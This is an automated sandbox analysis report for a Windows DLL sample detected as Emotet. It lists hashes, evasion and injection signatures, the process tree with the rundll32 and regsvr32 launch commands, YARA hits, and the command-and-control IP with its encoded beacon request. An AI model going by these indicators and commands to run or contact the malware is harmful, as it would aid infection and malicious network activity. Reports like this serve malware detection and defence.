Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
Ru97gvh8ir

Overview

General Information

Sample Name:Ru97gvh8ir (renamed file extension from none to dll)
Analysis ID:626506
MD5:d0a17f6649895f31900c59d34a93bef6
SHA1:3df95c0b1a2dd0ba4f0b105e3fc882b3269b08f3
SHA256:fea10a0d60a2d6e4cb6881379f9b9d82d06d33664bdbb2babd9c803e463707e2
Tags:exe
Infos:

Detection

Emotet
Score:76
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for submitted file
Yara detected Emotet
System process connects to network (likely due to code injection or exploit)
Antivirus detection for URL or domain
Hides that the sample has been downloaded from the Internet (zone.identifier)
Queries the volume information (name, serial number etc) of a device
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to query locales information (e.g. system language)
Deletes files inside the Windows folder
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Creates files inside the system directory
Internet Provider seen in connection with other malware
Detected potential crypto function
Found evasive API chain (may stop execution after checking a module file name)
JA3 SSL client fingerprint seen in connection with other malware
Contains functionality to dynamically determine API calls
HTTP GET or POST without a user agent
Program does not show much activity (idle)
IP address seen in connection with other malware
PE file contains an invalid checksum
Tries to load missing DLLs
Drops PE files to the windows directory (C:\Windows)
Checks if the current process is being debugged
Registers a DLL
Queries disk information (often used to detect virtual machines)
Creates a process in suspended mode (likely to inject code)

Classification

  • System is w10x64
  • loaddll64.exe (PID: 6984 cmdline: loaddll64.exe "C:\Users\user\Desktop\Ru97gvh8ir.dll" MD5: 4E8A40CAD6CCC047914E3A7830A2D8AA)
    • cmd.exe (PID: 6992 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\Ru97gvh8ir.dll",#1 MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
      • rundll32.exe (PID: 7020 cmdline: rundll32.exe "C:\Users\user\Desktop\Ru97gvh8ir.dll",#1 MD5: 73C519F050C20580F8A62C849D49215A)
    • regsvr32.exe (PID: 7000 cmdline: regsvr32.exe /s C:\Users\user\Desktop\Ru97gvh8ir.dll MD5: D78B75FC68247E8A63ACBA846182740E)
      • regsvr32.exe (PID: 7140 cmdline: C:\Windows\system32\regsvr32.exe "C:\Windows\system32\CYwMLUBpfJVi\miBCQZcqs.dll" MD5: D78B75FC68247E8A63ACBA846182740E)
    • rundll32.exe (PID: 7036 cmdline: rundll32.exe C:\Users\user\Desktop\Ru97gvh8ir.dll,DllRegisterServer MD5: 73C519F050C20580F8A62C849D49215A)
    • rundll32.exe (PID: 7096 cmdline: rundll32.exe C:\Users\user\Desktop\Ru97gvh8ir.dll,DllUnregisterServer MD5: 73C519F050C20580F8A62C849D49215A)
  • svchost.exe (PID: 1600 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: 32569E403279B3FD2EDB7EBD036273FA)
  • svchost.exe (PID: 6404 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService MD5: 32569E403279B3FD2EDB7EBD036273FA)
  • svchost.exe (PID: 4844 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)
  • svchost.exe (PID: 6452 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)
  • svchost.exe (PID: 4640 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)
  • cleanup
No configs have been found
SourceRuleDescriptionAuthorStrings
00000006.00000002.955605693.0000000002890000.00000040.00001000.00020000.00000000.sdmpJoeSecurity_Emotet_1Yara detected EmotetJoe Security
    00000004.00000002.446825482.0000017907800000.00000040.00001000.00020000.00000000.sdmpJoeSecurity_Emotet_1Yara detected EmotetJoe Security
      00000003.00000002.446116600.0000000180001000.00000020.00001000.00020000.00000000.sdmpJoeSecurity_Emotet_1Yara detected EmotetJoe Security
        00000002.00000002.448458717.00000000004C0000.00000040.00001000.00020000.00000000.sdmpJoeSecurity_Emotet_1Yara detected EmotetJoe Security
          00000004.00000002.446013508.0000000180001000.00000020.00001000.00020000.00000000.sdmpJoeSecurity_Emotet_1Yara detected EmotetJoe Security
            Click to see the 3 entries
            SourceRuleDescriptionAuthorStrings
            3.2.rundll32.exe.18a6b430000.0.raw.unpackJoeSecurity_Emotet_1Yara detected EmotetJoe Security
              2.2.regsvr32.exe.4c0000.0.unpackJoeSecurity_Emotet_1Yara detected EmotetJoe Security
                6.2.regsvr32.exe.2890000.1.unpackJoeSecurity_Emotet_1Yara detected EmotetJoe Security
                  4.2.rundll32.exe.17907800000.1.unpackJoeSecurity_Emotet_1Yara detected EmotetJoe Security
                    3.2.rundll32.exe.18a6b430000.0.unpackJoeSecurity_Emotet_1Yara detected EmotetJoe Security
                      Click to see the 3 entries
                      No Sigma rule has matched
                      No Snort rule has matched

                      Click to jump to signature section

                      Show All Signature Results

                      AV Detection

                      barindex
                      Source: Ru97gvh8ir.dllVirustotal: Detection: 30%Perma Link
                      Source: https://23.239.0.12/efaultLAvira URL Cloud: Label: malware
                      Source: https://23.239.0.12/m9Avira URL Cloud: Label: malware
                      Source: https://23.239.0.12/i9Avira URL Cloud: Label: malware
                      Source: unknownHTTPS traffic detected: 23.239.0.12:443 -> 192.168.2.5:49779 version: TLS 1.2
                      Source: Ru97gvh8ir.dllStatic PE information: DYNAMIC_BASE, NX_COMPAT
                      Source: Binary string: msacm32.pdb source: regsvr32.exe, 00000006.00000002.955307341.0000000000E74000.00000004.00000010.00020000.00000000.sdmp
                      Source: Binary string: msacm32.pdbGCTL source: regsvr32.exe, 00000006.00000002.955307341.0000000000E74000.00000004.00000010.00020000.00000000.sdmp
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_000000018000D26C FindFirstFileW,FindNextFileW,FindClose,

                      Networking

                      barindex
                      Source: C:\Windows\System32\regsvr32.exeNetwork Connect: 23.239.0.12 443
                      Source: Joe Sandbox ViewASN Name: LINODE-APLinodeLLCUS LINODE-APLinodeLLCUS
                      Source: Joe Sandbox ViewJA3 fingerprint: 51c64c77e60f3980eea90869b68c58a8
                      Source: global trafficHTTP traffic detected: GET / HTTP/1.1Cookie: RWwdLhDV=qdvyXZF9uRaugQy+/kHYhygIO2UuJRwZIPkQ2i6gN7kPl8KjoSwD5pkRmpw8ksyE77d6pYxtMlROVFIMtMA7XOHsrnljxlulw0ZNRRVKlfDrhM4cA8cUQbfuLav9TfivF3mY3i0MWx+CY5kjgi8fOAefzyGyYiCoqsY93aw4iP7yF4kLwaqb5AeW+zaYtev9xKoaIfECTglXJRz8W4w0B6fEShzP03IAy/7cto4w5t/xCiX2k7bJBIwR0H/tAl+5w5+NUx/Z/BI13c3ZUbPNPkEUag7/OKbozhoEgcdIuGA5KXQ+xOwsi+2z9ck=Host: 23.239.0.12Connection: Keep-AliveCache-Control: no-cache
                      Source: Joe Sandbox ViewIP Address: 23.239.0.12 23.239.0.12
                      Source: unknownNetwork traffic detected: HTTP traffic on port 49779 -> 443
                      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49779
                      Source: unknownTCP traffic detected without corresponding DNS query: 23.239.0.12
                      Source: unknownTCP traffic detected without corresponding DNS query: 23.239.0.12
                      Source: unknownTCP traffic detected without corresponding DNS query: 23.239.0.12
                      Source: unknownTCP traffic detected without corresponding DNS query: 23.239.0.12
                      Source: unknownTCP traffic detected without corresponding DNS query: 23.239.0.12
                      Source: unknownTCP traffic detected without corresponding DNS query: 23.239.0.12
                      Source: unknownTCP traffic detected without corresponding DNS query: 23.239.0.12
                      Source: unknownTCP traffic detected without corresponding DNS query: 23.239.0.12
                      Source: unknownTCP traffic detected without corresponding DNS query: 23.239.0.12
                      Source: unknownTCP traffic detected without corresponding DNS query: 23.239.0.12
                      Source: regsvr32.exe, 00000006.00000003.506509030.0000000000F1E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.955452934.0000000000F1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000A.00000002.838122634.000002A5FEA87000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.699329805.00000240EED00000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.globalsign.net/root-r2.crl0
                      Source: svchost.exe, 00000013.00000002.699329805.00000240EED00000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.ver)
                      Source: svchost.exe, 00000013.00000003.669217569.00000240EED68000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://help.disneyplus.com.
                      Source: regsvr32.exe, 00000006.00000003.506428825.0000000000EC2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://23.239.0.12/
                      Source: regsvr32.exe, 00000006.00000002.955391382.0000000000EC2000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.506428825.0000000000EC2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://23.239.0.12/efaultL
                      Source: regsvr32.exe, 00000006.00000002.955391382.0000000000EC2000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.506428825.0000000000EC2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://23.239.0.12/i9
                      Source: regsvr32.exe, 00000006.00000002.955391382.0000000000EC2000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.506428825.0000000000EC2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://23.239.0.12/m9
                      Source: svchost.exe, 00000013.00000003.669217569.00000240EED68000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://disneyplus.com/legal.
                      Source: svchost.exe, 00000013.00000003.663631076.00000240EF202000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.663730353.00000240EEDB4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.663747303.00000240EF202000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.663718869.00000240EEDA3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.665129896.00000240EED6B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://support.hotspotshield.com/
                      Source: svchost.exe, 00000013.00000003.669217569.00000240EED68000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.disneyplus.com/legal/privacy-policy
                      Source: svchost.exe, 00000013.00000003.669217569.00000240EED68000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.disneyplus.com/legal/your-california-privacy-rights
                      Source: svchost.exe, 00000013.00000003.663631076.00000240EF202000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.663730353.00000240EEDB4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.663747303.00000240EF202000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.663718869.00000240EEDA3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.665129896.00000240EED6B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.hotspotshield.com/terms/
                      Source: svchost.exe, 00000013.00000003.663631076.00000240EF202000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.663730353.00000240EEDB4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.663747303.00000240EF202000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.663718869.00000240EEDA3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.665129896.00000240EED6B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.pango.co/privacy
                      Source: svchost.exe, 00000013.00000003.674175320.00000240EED68000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.tiktok.
                      Source: svchost.exe, 00000013.00000003.674175320.00000240EED68000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.672787613.00000240EEDA3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.672889806.00000240EF202000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.tiktok.com/legal/report/feedback
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_00000001800132F0 InternetReadFile,RtlAllocateHeap,
                      Source: global trafficHTTP traffic detected: GET / HTTP/1.1Cookie: RWwdLhDV=qdvyXZF9uRaugQy+/kHYhygIO2UuJRwZIPkQ2i6gN7kPl8KjoSwD5pkRmpw8ksyE77d6pYxtMlROVFIMtMA7XOHsrnljxlulw0ZNRRVKlfDrhM4cA8cUQbfuLav9TfivF3mY3i0MWx+CY5kjgi8fOAefzyGyYiCoqsY93aw4iP7yF4kLwaqb5AeW+zaYtev9xKoaIfECTglXJRz8W4w0B6fEShzP03IAy/7cto4w5t/xCiX2k7bJBIwR0H/tAl+5w5+NUx/Z/BI13c3ZUbPNPkEUag7/OKbozhoEgcdIuGA5KXQ+xOwsi+2z9ck=Host: 23.239.0.12Connection: Keep-AliveCache-Control: no-cache
                      Source: unknownHTTPS traffic detected: 23.239.0.12:443 -> 192.168.2.5:49779 version: TLS 1.2

                      E-Banking Fraud

                      barindex
                      Source: Yara matchFile source: 3.2.rundll32.exe.18a6b430000.0.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 2.2.regsvr32.exe.4c0000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 6.2.regsvr32.exe.2890000.1.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 4.2.rundll32.exe.17907800000.1.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 3.2.rundll32.exe.18a6b430000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 2.2.regsvr32.exe.4c0000.0.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 4.2.rundll32.exe.17907800000.1.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 6.2.regsvr32.exe.2890000.1.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 00000006.00000002.955605693.0000000002890000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000002.446825482.0000017907800000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000002.446116600.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000002.00000002.448458717.00000000004C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000002.446013508.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000006.00000002.955744270.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000002.446376740.0000018A6B430000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000002.00000002.448904560.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: C:\Windows\System32\regsvr32.exeFile deleted: C:\Windows\System32\CYwMLUBpfJVi\miBCQZcqs.dll:Zone.IdentifierJump to behavior
                      Source: C:\Windows\System32\regsvr32.exeFile created: C:\Windows\system32\CYwMLUBpfJVi\Jump to behavior
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00007FFA532AFCA0
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00007FFA532AE6C0
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00007FFA532A6F0C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00007FFA532AFB6C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00007FFA532AAF70
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00007FFA532AEB60
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00007FFA532AA77C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00007FFA532AB5CC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00007FFA532AAA0C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00007FFA532A895C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00007FFA532A5944
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00490000
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180010FF4
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180028C20
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018002C058
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180009100
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180007958
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018001C964
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018000C608
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180021618
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180013E28
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018001E3AC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018001DBE8
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018001FC0C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018000580C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180022010
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018001481C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018002A42C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180011834
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180023831
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180021C3C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018000703C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018000AC48
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018000FC48
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180024458
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180006458
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018001C05C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018001A460
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180029888
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018001D49C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180008CA0
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800248A8
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180015CB0
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800124B4
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018000C4B4
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800288B8
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800024B8
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018000D8C4
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800250CC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800190D4
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180017CE4
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800264F0
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800014F8
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180020CFC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018002C904
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180017908
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180021510
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018000F917
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018000551C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018000F128
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018001CD38
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180016D3C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018001F944
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180018148
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018001D950
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180013150
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018001ED50
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018001E960
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180019D60
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180001D68
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018001496C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180002D70
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180024574
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180002178
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180024D80
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180018598
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180003598
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018002A9A8
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800119A8
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180025DAC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180018DAC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800269B0
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800059B8
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800029BC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800141C0
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800125C4
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800121CC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018000BDD0
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800075D4
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800095DC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018000F9E8
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180002610
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180019618
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018001FA38
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018000A270
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180019E78
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018001DA80
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180024698
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018000EE98
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800176B8
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018001AAB8
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180011AD0
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180008AD8
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800296EC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018000A6EC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800132F0
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180019300
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018001BB04
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018002870C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180026B10
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018000131C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018000671C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180029B28
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180012F28
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018000BB28
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018001EB30
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180020334
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180010758
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018001435C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180009F5C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180029368
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180020768
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180017378
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180013780
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180015388
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018000338C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018000738C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180002790
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180027F9C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800197A0
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018002C7B4
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018001DFB4
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018001F7C0
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800097C0
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800157D8
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180019FDC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180017BDC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018000F7E0
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180001FE0
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_0000000180010FF4
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_0000000180028C20
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_000000018002C058
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_0000000180009100
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_000000018001C964
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_000000018000C608
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_0000000180021618
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_000000018001E3AC
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_000000018001DBE8
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_000000018001FC0C
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_000000018000580C
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_0000000180022010
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_000000018001481C
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_000000018002A42C
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_0000000180011834
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_0000000180023831
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_0000000180021C3C
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_000000018000703C
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_000000018000AC48
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_000000018000FC48
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_0000000180006458
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_000000018001C05C
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_000000018001A460
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_0000000180029888
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_000000018001D49C
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_0000000180008CA0
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_00000001800248A8
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_0000000180015CB0
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_00000001800124B4
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_000000018000C4B4
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_00000001800288B8
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_00000001800024B8
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_000000018000D8C4
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_00000001800250CC
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_00000001800190D4
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_0000000180017CE4
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_00000001800264F0
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_00000001800014F8
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_0000000180020CFC
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_000000018002C904
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_0000000180017908
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_0000000180021510
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_000000018000F917
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_000000018000551C
